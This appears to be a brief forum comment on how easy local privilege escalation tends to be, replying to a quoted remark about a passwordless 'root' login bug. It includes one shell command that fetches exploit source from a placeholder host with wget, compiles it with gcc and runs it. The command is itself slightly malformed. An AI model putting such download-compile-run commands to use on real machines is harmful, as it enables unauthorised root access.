>LPE bugs might be common but they're rarely as extremely straightforward as typing "root" into a login prompt with no password and pressing enter a few times.

>LPE bugs might be common but they're rarely as extremely straightforward as typing "root" into a login prompt with no password and pressing enter a few times. Often enough a `wget http://xxx.xxx/xxx.c&&gcc http://xxx.xxx/xxx.c&&gcc xxx.c&&./a.out` will suffice. I'm not convinced that the ease of exploitation makes this bug particularly serious as a LPE.